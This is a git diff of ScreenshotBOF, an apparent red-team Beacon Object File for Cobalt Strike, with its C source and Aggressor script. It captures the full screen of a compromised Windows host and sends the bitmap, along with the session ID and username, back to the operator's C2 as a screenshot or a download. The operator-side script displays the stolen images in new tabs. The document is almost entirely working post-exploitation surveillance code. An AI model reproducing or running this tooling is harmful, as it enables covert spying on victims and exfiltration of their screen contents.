diff --git a/ScreenshotBOF/Source.cpp b/ScreenshotBOF/Source.cpp index ad212e0..f42928a 100644 --- a/ScreenshotBOF/Source.cpp +++ b/ScreenshotBOF/Source.cpp @@ -5,8 +5,80 @@ #pragma comment(lib, "User32.lib") #pragma comment(lib, "Gdi32.lib") -char downloadfilename[] = "screenshot.bmp"; -/*Download File*/ +/*Download Screenshot*/ +void downloadScreenshot(char* jpg, int jpgLen, int session, char* windowTitle, int titleLen, char* username, int usernameLen) { +// Function modified by @BinaryFaultline + +// This data helped me figure out the C code to download a screenshot. It was found in the BOF.NET code here: https://github.com/CCob/BOF.NET/blob/2da573a4a2a760b00e66cd051043aebb2cfd3182/managed/BOFNET/BeaconObject.cs +// Special thanks to CCob doing the research around the BeaconOutput options, making this much easier for me. + +// private void WriteSessionUserNameTitle(BinaryWriter bw, int session, string userName, string title) { +// bw.Write(session); +// bw.Write(title.Length); +// bw.Write(Encoding.UTF8.GetBytes(title)); +// bw.Write(userName.Length); +// bw.Write(Encoding.UTF8.GetBytes(userName)); +// } + +// var screenshotCallback = new BinaryWriter(new MemoryStream()); +// screenshotCallback.Write(jpgData.Length); +// screenshotCallback.Write(jpgData); +// WriteSessionUserNameTitle(screenshotCallback, session, userName, title); + int messageLength = 4 + jpgLen + 4 + 4 + titleLen + 4 + usernameLen; + char* packedData = (char*)MSVCRT$malloc(messageLength); + + // //pack on jpgLen/fileSize as 4-byte int second + packedData[0] = jpgLen & 0xFF; + packedData[1] = (jpgLen >> 8) & 0xFF; + packedData[2] = (jpgLen >> 16) & 0xFF; + packedData[3] = (jpgLen >> 24) & 0xFF; + + int packedIndex = 4; + + // //pack on the bytes of jpg/returnData + for (int i = 0; i < jpgLen; i++) { + packedData[packedIndex] = jpg[i]; + packedIndex++; + } + + //pack on session as 4-byte int first + packedData[packedIndex] = session & 0xFF; + packedData[packedIndex + 1] = (session >> 8) & 0xFF; + packedData[packedIndex + 2] = (session >> 16) & 0xFF; + packedData[packedIndex + 3] = (session >> 24) & 0xFF; + + //pack on titleLength as 4-byte int second + packedData[packedIndex + 4] = titleLen & 0xFF; + packedData[packedIndex + 5] = (titleLen >> 8) & 0xFF; + packedData[packedIndex + 6] = (titleLen >> 16) & 0xFF; + packedData[packedIndex + 7] = (titleLen >> 24) & 0xFF; + + packedIndex += 8; + + //pack on the bytes of title + for (int i = 0; i < titleLen; i++) { + packedData[packedIndex] = windowTitle[i]; + packedIndex++; + } + + //pack on userLength as 4-byte int second + packedData[packedIndex] = usernameLen & 0xFF; + packedData[packedIndex + 1] = (usernameLen >> 8) & 0xFF; + packedData[packedIndex + 2] = (usernameLen >> 16) & 0xFF; + packedData[packedIndex + 3] = (usernameLen >> 24) & 0xFF; + + packedIndex += 4; + + //pack on the bytes of user + for (int i = 0; i < usernameLen; i++) { + packedData[packedIndex] = username[i]; + packedIndex++; + } + + BeaconOutput(CALLBACK_SCREENSHOT, packedData, messageLength); + return; +} + void downloadFile(char* fileName, int downloadFileNameLength, char* returnData, int fileSize) { //Intializes random number generator to create fileId @@ -152,7 +224,7 @@ BOOL _print_error(char* func, int line, char* msg, HRESULT hr) { #pragma endregion -BOOL SaveHBITMAPToFile(HBITMAP hBitmap, LPCTSTR lpszFileName) +BOOL SaveHBITMAPToFile(HBITMAP hBitmap, int getOnlyProfile) { HDC hDC; int iBits; @@ -227,7 +299,30 @@ BOOL SaveHBITMAPToFile(HBITMAP hBitmap, LPCTSTR lpszFileName) memcpy(((char*)bmpdata) + sizeof(BITMAPFILEHEADER), lpbi, dwDIBSize); - downloadFile((char*)lpszFileName, sizeof(lpszFileName), (char*)bmpdata, (int)(sizeof(BITMAPFILEHEADER) + dwDIBSize)); + // The CALLBACK_SCREENSHOT takes sessionId, title (window title in default CS screenshot fork&run), username, so we need to populate those + // Since the original author didn't do any window enumeration, I am not going through the effort of doing that enumeration, instead it's hardcoded + DWORD session = -1; + KERNEL32$ProcessIdToSessionId(KERNEL32$GetCurrentProcessId(), &session); + char* user; + user = (char*)getenv("USERNAME"); + char title[] = "Right-click this and \"Render BMP\" to view"; + char fileName[] = "ScreenshotBOF - Downloaded BMP.bmp"; + + int userLength = MSVCRT$_snprintf(NULL,0,"%s",user); + int titleLength = MSVCRT$_snprintf(NULL,0,"%s",title); + int fileNameLength = MSVCRT$_snprintf(NULL,0,"%s",fileName); + + + // If the profile is get-only (termination in post client is URI based), download it as a screenshot, otherwise, download it as a file + + if (getOnlyProfile > 0){ + BeaconPrintf(0x0, "[+] URI post profile detected. Saving bitmap screenshot to Screenshots tab. Note, this takes a little while..."); + downloadScreenshot((char *)bmpdata, sizeof(BITMAPFILEHEADER) + dwDIBSize, session,(char*)title, titleLength, (char*)user, userLength); + } else { + BeaconPrintf(0x0, "[+] Post body profile detected. Saving bitmap screenshot to Downloads tab..."); + downloadFile((char*)fileName, fileNameLength, (char *)bmpdata, sizeof(BITMAPFILEHEADER) + dwDIBSize); + } + //downloadScreenshot((char *)bmp_bmp, bmp_bmp_len, session,(char*)title, titleLength, (char*)user, userLength); //WriteFile(fh, (LPSTR)bmpdata, sizeof(BITMAPFILEHEADER)+ dwDIBSize, &dwWritten, NULL); /* clean up */ @@ -240,10 +335,9 @@ BOOL SaveHBITMAPToFile(HBITMAP hBitmap, LPCTSTR lpszFileName) #ifdef BOF void go(char* buff, int len) { datap parser; - char * downloadfilename; + int getOnlyProfile; BeaconDataParse(&parser, buff, len); - downloadfilename = BeaconDataExtract(&parser, NULL); - BeaconPrintf(0x0, "[*] Tasked beacon to printscreen and save to %s",downloadfilename); + getOnlyProfile = BeaconDataInt(&parser); int x1, y1, x2, y2, w, h; // get screen dimensions x1 = GetSystemMetrics(SM_XVIRTUALSCREEN); @@ -270,11 +364,9 @@ void go(char* buff, int len) { CloseClipboard(); */ - BeaconPrintf(0x0, "[+] PrintScreen saved to bitmap..."); - LPCSTR filename = (LPCSTR)downloadfilename; - SaveHBITMAPToFile(hBitmap, (LPCTSTR)filename); - - //BeaconPrintf(0x0, "[+] Printscreen bitmap saved to %s",downloadfilename); + + SaveHBITMAPToFile(hBitmap, getOnlyProfile); + BeaconPrintf(0x0, "[+] Screenshot downloaded..."); // clean up SelectObject(hDC, old_obj); DeleteDC(hDC); diff --git a/ScreenshotBOF/beacon.h b/ScreenshotBOF/beacon.h index bfcf21f..d49833e 100644 --- a/ScreenshotBOF/beacon.h +++ b/ScreenshotBOF/beacon.h @@ -47,6 +47,7 @@ DECLSPEC_IMPORT void BeaconFormatInt(formatp * format, int value); #define CALLBACK_FILE 0x02 #define CALLBACK_FILE_WRITE 0x08 #define CALLBACK_FILE_CLOSE 0x09 +#define CALLBACK_SCREENSHOT 0x03 DECLSPEC_IMPORT void BeaconPrintf(int type, char * fmt, ...); DECLSPEC_IMPORT void BeaconOutput(int type, char * data, int len); diff --git a/ScreenshotBOF/bofdefs.h b/ScreenshotBOF/bofdefs.h index c0517b7..c55419b 100644 --- a/ScreenshotBOF/bofdefs.h +++ b/ScreenshotBOF/bofdefs.h @@ -231,6 +231,10 @@ DECLSPEC_IMPORT BOOL WINAPI KERNEL32$IsProcessorFeaturePresent(DWORD ProcessorFe DECLSPEC_IMPORT BOOL WINAPI ADVAPI32$GetUserNameW(LPWSTR lpBuffer, LPDWORD pcbBuffer); +DECLSPEC_IMPORT char* WINAPI MSVCRT$getenv(const char *varname); +DECLSPEC_IMPORT DWORD WINAPI KERNEL32$GetCurrentProcessId(); +DECLSPEC_IMPORT BOOL WINAPI KERNEL32$ProcessIdToSessionId(DWORD dwProcessId, DWORD *pSessionId); + @@ -358,6 +362,11 @@ DECLSPEC_IMPORT BOOL WINAPI ADVAPI32$GetUserNameW(LPWSTR lpBuffer, LPDWORD pcbBu #define GetUserNameW ADVAPI32$GetUserNameW #define IsProcessorFeaturePresent KERNEL32$IsProcessorFeaturePresent + +#define getenv MSVCRT$getenv +#define GetCurrentProcessId KERNEL32$GetCurrentProcessId +#define ProcessIdToSession KERNEL32$ProcessIdToSessionId + #else #endif diff --git a/bin/BOF/ScreenshotBOF.x64.obj b/bin/BOF/ScreenshotBOF.x64.obj old mode 100644 new mode 100755 index c069e07..f9c6012 Binary files a/bin/BOF/ScreenshotBOF.x64.obj and b/bin/BOF/ScreenshotBOF.x64.obj differ diff --git a/bin/BOF/ScreenshotBOF.x86.obj b/bin/BOF/ScreenshotBOF.x86.obj old mode 100644 new mode 100755 index 8b2d2fe..d458c95 Binary files a/bin/BOF/ScreenshotBOF.x86.obj and b/bin/BOF/ScreenshotBOF.x86.obj differ diff --git a/bin/BOF/screenshotBOF.cna b/bin/BOF/screenshotBOF.cna index bb9bbbc..0e1f137 100644 --- a/bin/BOF/screenshotBOF.cna +++ b/bin/BOF/screenshotBOF.cna @@ -1,3 +1,166 @@ +import javax.imageio.ImageIO; +import java.awt.*; +import javax.swing.JLabel; +import javax.swing.ImageIcon; +import java.io.ByteArrayInputStream; + +# This function takes in a screenshot and creates a JLabel to display the screenshot +sub display_image { + local('$screenshot $screenshot_bytes $bid $user $computer $client $MAX_IMAGE_WIDTH $MAX_IMAGE_HEIGHT $bias $image $width $height $icon $scaledIcon $component $tab_name'); + $screenshot = $1; + $screenshot_bytes = $screenshot['data']; + $bid = $screenshot['bid']; + $user = $screenshot['user']; + $computer = beacon_info($bid, 'computer'); + + $client = getAggressorClient(); + $MAX_IMAGE_WIDTH = [[[$client getTabManager] getTabbedPane] getWidth]; + $MAX_IMAGE_HEIGHT = [[[$client getTabManager] getTabbedPane] getHeight]; + + $bais = [new ByteArrayInputStream: $screenshot_bytes]; + $image = [ImageIO read: $bais]; + + $width = [$image getWidth]; + $height = [$image getHeight]; + + $icon = [new ImageIcon: $image]; + if ($width > $MAX_IMAGE_WIDTH) { + $width = $MAX_IMAGE_WIDTH; + } + if ($height > $MAX_IMAGE_HEIGHT) { + $height = $MAX_IMAGE_HEIGHT; + } + $scaledIcon = [new ImageIcon: [$image getScaledInstance: $width, $height, 4]]; + + $component = [new JLabel: $scaledIcon]; + $tab_name = "ScreenshotBOF - $user\@$computer"; + addTab($tab_name, $component, "..."); + +} + +# This function takes in a screenshot and creates a JLabel to display the screenshot +sub display_downloaded { + local('$screenshot $screenshot_bytes $bid $user $computer $client $MAX_IMAGE_WIDTH $MAX_IMAGE_HEIGHT $bias $image $width $height $icon $scaledIcon $component $tab_name'); + + $screenshot_bytes = $1; + $file_name = $2; + + $client = getAggressorClient(); + $MAX_IMAGE_WIDTH = [[[$client getTabManager] getTabbedPane] getWidth]; + $MAX_IMAGE_HEIGHT = [[[$client getTabManager] getTabbedPane] getHeight]; + + $bais = [new ByteArrayInputStream: $screenshot_bytes]; + $image = [ImageIO read: $bais]; + + $width = [$image getWidth]; + $height = [$image getHeight]; + + $icon = [new ImageIcon: $image]; + if ($width > $MAX_IMAGE_WIDTH) { + $width = $MAX_IMAGE_WIDTH; + } + if ($height > $MAX_IMAGE_HEIGHT) { + $height = $MAX_IMAGE_HEIGHT; + } + $scaledIcon = [new ImageIcon: [$image getScaledInstance: $width, $height, 4]]; + + $component = [new JLabel: $scaledIcon]; + $tab_name = "ScreenshotBOF - $file_name"; + addTab($tab_name, $component, "..."); + +} + +# Checks the screenshot when it comes in to see if it is a BMP, then if so, renders it in a new tab +on screenshots { + local('$screenshot $data'); + + $screenshot = $1; + $data = $screenshot['data']; + + # Check the magic header of the data to see if it's a BMP + if (charAt($data, 0) eq "B" && charAt($data, 1) eq "M") { + display_image($screenshot); + } +} + +popup_clear("downloads"); +popup downloads { + # do nothing if nothing is selected + if (size($1) == 0) { + return; + } + + item "Interact" { + openOrActivate($1[0]["bid"]); + } + + menu "&Color" { + local('$ids'); + $ids = map({ return $1["id"]; }, $1); + insert_component(colorPanel("accents", $ids)); + } + + item "Render &BMP" { + local('$download $lpath $name $count'); + foreach $count => $download ($1) { + ($lpath, $name) = values($download, @("lpath", "name")); + + sync_download($lpath, script_resource("file $+ .$count"), lambda({ + $handle = openf($1); + $data = readb($handle, -1); + closef($handle); + #println(charAt($data, 0)); + #println(charAt($data, 1)); + if (charAt($data, 0) eq "B" && charAt($data, 1) eq "M") { + display_downloaded($data, $1); + } else { + show_error("File is not a Bitmap image"); + } + deleteFile($1); + }, \$name)); + } + } +} + +popup_clear("screenshots"); +popup screenshots { + item "&Interact" { + openOrActivate($1["bid"]); + } + + menu "&Color" { + insert_component(colorPanel("accents", $1["id"])); + } + + item "&Save" { + prompt_file_save($1["id"] . ".jpg", lambda({ + local('$handle'); + $handle = openf("> $+ $1"); + writeb($handle, $data); + closef($handle); + + show_message("Screenshot saved."); + }, $data => $1["object"]["data"])); + } + + separator(); + + item "&Remove" { + redactobject($1["id"]); + } + + item "Render &BMP" { + $data = $1["object"]['data']; + + # Check the magic header of the data to see if it's a BMP + if (charAt($data, 0) eq "B" && charAt($data, 1) eq "M") { + display_image($1["object"]); + } else { + show_error("Image is not a Bitmap. It should render in Screenshots tab."); + } + } +} + #Register command beacon_command_register( "screenshot_bof", @@ -6,23 +169,24 @@ beacon_command_register( ); alias screenshot_bof { - local('$barch $handle $data $args $target_pid'); - if (size(@_) != 2) - { - berror($1, "Please specify a filename. e.g. screenshot_bof screen.bmp"); - return; - } + local('$bid $barch $handle $data $args $target_pid'); + $bid = $1; # figure out the arch of this session - $barch = barch($1); + $barch = barch($bid); # read in the right BOF file $handle = openf(script_resource("ScreenshotBOF. $+ $barch $+ .obj")); $data = readb($handle, -1); closef($handle); - $args = bof_pack($1, "z",$2); - + # figure out if the profile chooses to chunk the post or not (getOnlyProfile) + $profile = data_query("metadata")["c2profile"]; + $getOnlyProfile = [$profile shouldChunkPosts]; + println($getOnlyProfile); + + $args = bof_pack($bid, "i", $getOnlyProfile); + # announce what we're doing - btask($1, "Running screenshot BOF by (@codex_tf2)"); + btask($bid, "Running screenshot BOF by (@codex_tf2)", "T1113"); # execute it. - beacon_inline_execute($1, $data, "go", $args); + beacon_inline_execute($bid, $data, "go", $args); } diff --git a/bin/screenshotBOF.zip b/bin/screenshotBOF.zip deleted file mode 100644 index 47aff69..0000000 Binary files a/bin/screenshotBOF.zip and /dev/null differ